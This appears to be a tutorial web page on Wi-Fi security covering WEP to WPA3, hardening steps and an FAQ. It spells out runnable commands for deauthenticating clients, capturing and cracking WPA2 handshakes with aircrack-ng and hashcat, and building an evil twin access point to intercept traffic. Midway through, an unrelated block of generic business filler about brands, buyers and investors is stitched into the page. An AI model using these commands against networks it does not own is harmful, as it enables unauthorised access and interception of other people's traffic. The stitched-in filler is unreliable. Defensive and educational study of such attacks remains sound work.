Wireless Network Security: Wi-Fi Attacks, WPA Cracking, and How to Defend Your Network

Understanding wireless network security is the foundation of this guide. Below we break it down step by step so you can act with confidence.

Wireless networks are uniquely vulnerable because the signal travels through the air — anyone within range can capture the traffic. Wi-Fi security has evolved from WEP (broken in minutes) to WPA2 (strong but attackable) to WPA3 (current best practice), but most networks still use WPA2 with weak passwords.

This lesson covers how wireless attacks work, how to test your own network's security, and how to configure Wi-Fi that resists attack.

Wireless Network Security: Wi-Fi security protocols: WEP, WPA, WPA2, WPA3

Understanding the evolution of Wi-Fi security:

• WEP (Wired Equivalent Privacy) — broken. Can be cracked in under 5 minutes regardless of password strength. Never use.
• WPA (Wi-Fi Protected Access) — uses TKIP. Deprecated, known vulnerabilities. Avoid.
• WPA2-Personal (PSK) — uses AES-CCMP. Strong if the password is strong. Vulnerable to offline dictionary attacks if the handshake is captured.
• WPA2-Enterprise (802.1X) — uses RADIUS server for individual authentication. Much stronger than PSK.
• WPA3 — uses SAE (Simultaneous Authentication of Equals). Resistant to offline dictionary attacks. The current best practice.

Most networks today use WPA2-Personal. The security depends entirely on password strength — a dictionary word is crackable, a 20-character random passphrase is not.

WPA2 handshake capture and cracking

To crack a WPA2 password, you need to capture the 4-way handshake that occurs when a device connects to the network:

# Step 1: Put wireless adapter into monitor mode
$ sudo airmon-ng start wlan0
# Interface becomes wlan0mon

# Step 2: Scan for nearby networks
$ sudo airodump-ng wlan0mon
# BSSID              CH  ENC   ESSID
# AA:BB:CC:DD:EE:FF  6   WPA2  TargetNetwork
# 11:22:33:44:55:66  11  WPA2  Neighbor_WiFi

# Step 3: Capture handshake on the target channel
$ sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Wait for a device to connect... or force it:

# Step 4: Deauthenticate a client (forces reconnection)
$ sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Client disconnects and reconnects → handshake captured!
# airodump shows: [ WPA handshake: AA:BB:CC:DD:EE:FF ]

# Step 5: Crack the handshake offline
$ aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
# KEY FOUND! [ summer2024 ]

# With hashcat (much faster, uses GPU):
$ aircrack-ng capture-01.cap -J hash_file  # convert to hccapx
$ hashcat -m 22000 hash_file.hc22000 rockyou.txt

Evil twin and rogue access point attacks

An evil twin attack creates a fake access point that mimics a legitimate one. When victims connect, all their traffic passes through the attacker:

# Conceptual overview (DO NOT use on networks you don't own):

# 1. Scan for target network:
$ sudo airodump-ng wlan0mon
# Target: "CoffeeShop_WiFi" on channel 6

# 2. Create identical network name on your adapter:
$ sudo hostapd evil_twin.conf
# evil_twin.conf:
# interface=wlan1
# ssid=CoffeeShop_WiFi
# channel=6
# driver=nl80211

# 3. Run DHCP server to assign IPs to victims:
$ sudo dnsmasq --conf-file=dnsmasq.conf

# 4. Route traffic through your machine:
$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# 5. Capture traffic with Wireshark or tcpdump
# All HTTP traffic is visible in plain text
# HTTPS traffic shows domain names (SNI) but content is encrypted

# Defense: Always verify the network you connect to.
# Use a VPN on public Wi-Fi.
# HTTPS protects content even on compromised networks.

Securing your wireless network

Practical steps to harden your Wi-Fi:

1. Use WPA3 if all your devices support it. Otherwise WPA2 with AES (never TKIP).
2. Use a passphrase of 20+ random characters — not a dictionary word, name, or address.
3. Change the default admin password on your router (admin/admin is the first thing attackers try).
4. Disable WPS (Wi-Fi Protected Setup) — it has a brute-forceable PIN that bypasses your password.
5. Use a separate guest network for IoT devices and visitors.
6. Enable 802.11w (Management Frame Protection) to prevent deauthentication attacks.
7. Keep router firmware updated — old firmware has known vulnerabilities.
8. Consider MAC address filtering as an additional layer (not a primary defense — MACs are spoofable).

When evaluating wireless network security, start with the fundamentals: what problem it solves, who it serves, and how it compares to the alternatives buyers consider first.

Start with the fundamentals. Define who you are serving, the single outcome you want, and the budget you are comfortable committing before you compare any options.

A practical rule is to favour clarity over cleverness. The choice that is easiest to understand, spell, remember and act on tends to win over the long run.

Context changes the answer. What is optimal for a fast-moving startup is rarely optimal for an established brand, so weigh your own stage, market and ambitions.

Avoid the common mistakes: rushing the decision, copying competitors blindly, and ignoring the total cost of ownership beyond the very first year of use.

Think in terms of trade-offs rather than a single perfect answer. Every option trades memorability, cost, reach and flexibility in a slightly different mix.

Document your reasoning. Writing down why you chose one path makes it far easier to revisit the decision later and to explain it to partners and investors.

Test with real people. A quick check with a handful of your actual customers will surface problems that no amount of internal debate ever reveals.

Plan for growth. The option that fits today should still make sense when your audience, catalogue or team is several times larger than it is right now.

Finally, revisit the decision periodically. Markets, tools and best practices move quickly, and a choice that was ideal last year may deserve a fresh look today.

Frequently asked questions

Do I need a special Wi-Fi adapter for wireless hacking?

Yes. Your laptop's built-in adapter usually does not support monitor mode or packet injection. The Alfa AWUS036ACH and TP-Link TL-WN722N (v1 only) are popular choices for Kali Linux. Check compatibility before buying.

Can WPA3 be cracked?

WPA3 uses SAE (Dragonfly handshake) which is resistant to offline dictionary attacks — the main weakness of WPA2. Some early implementations had Dragonblood vulnerabilities, but patched WPA3 is very strong. The password still matters, but weak passwords are harder to exploit.